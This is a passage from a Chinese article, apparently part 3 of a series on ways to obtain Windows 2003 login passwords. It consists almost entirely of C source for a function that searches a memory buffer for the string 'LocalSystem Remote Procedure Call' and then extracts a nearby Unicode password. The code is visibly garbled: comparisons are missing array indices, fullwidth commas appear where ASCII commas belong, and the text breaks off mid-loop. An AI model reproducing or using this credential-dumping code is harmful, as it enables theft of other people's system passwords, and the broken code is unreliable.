在win 2003中三大方法助你得到登陆密码(3)

　　// Purpose: Search The Memory & Try To Get The Password

　　// Return Type: int

　　// Parameters:

　　// In: char *Buffer --> The Memory Buffer To Search

　　// Out: const UINT nSize --> The Size Of The Memory Buffer

　　// Note: The Program Tries To Locate The Magic String "LocalSystem Remote Procedure"，

　　// Since The Password Is Near The Above Location，But It's Not Always True That

　　// We Will Find The Magic String，Or Even We Find It，The Password May Be Located

　　// At Some Other Place.We Only Look For Luck

　　//------------------------------------------------------------------------------------

　　int Search(char *Buffer，const UINT nSize)

　　{

　　UINT OffSet = 0;

　　UINT i = 0;

　　UINT j = 0 ;

　　UINT Count = 0;

　　if (Buffer == NULL)

　　{

　　return -1;

　　}

　　for (i = 0 ; i < nSize ; i++)

　　{

　　/* The Below Is To Find The Magic String，Why So Complicated?That Will Thank MS.The Separation From Word To Word

　　Is Not Separated With A Space，But With A Ending Character，So Any Search API Like strstr() Will Fail To Locate

　　The Magic String，We Have To Do It Manually And Slowly

　　*/

　　if (Buffer == 'L')

　　{

　　OffSet = 0;

　　if (strnicmp(&Buffer[i + OffSet]，"LocalSystem"，strlen("LocalSystem")) == 0)

　　{

　　OffSet += strlen("LocalSystem") + 1;

　　if (strnicmp(&Buffer[i + OffSet]，"Remote"，strlen("Remote")) == 0)

　　{

　　OffSet += strlen("Remote") + 1;

　　if (strnicmp(&Buffer[i + OffSet]，"Procedure"，strlen("Procedure")) == 0)

　　{

　　OffSet += strlen("Procedure") + 1;

　　if (strnicmp(&Buffer[i + OffSet]，"Call"，strlen("Call")) == 0)

　　{

　　i += OffSet;

　　break;

　　}

　　}

　　}

　　}

　　}

　　}

　　if (i < nSize)

　　{

　　ZeroMemory(Password，sizeof(Password));

　　for (; i < nSize ; i++)

　　{

　　if (Buffer == 0x02 && Buffer[i + 1] == 0 && Buffer[i + 2] == 0 && Buffer[i + 3] == 0 && Buffer[i + 4] == 0 && Buffer[i + 5] == 0 && Buffer[i + 6] == 0)

　　{

　　/* The Below Code Is To Retrieve The Password.Since The String Is In Unicode Format，So We Will Do It In

　　That Way

　　*/

　　j = i + 7;

　　for (; j < nSize; j += 2)

　　{

　　if (Buffer[j] > 0)

　　{

　　Password[Count++] = Buffer[j];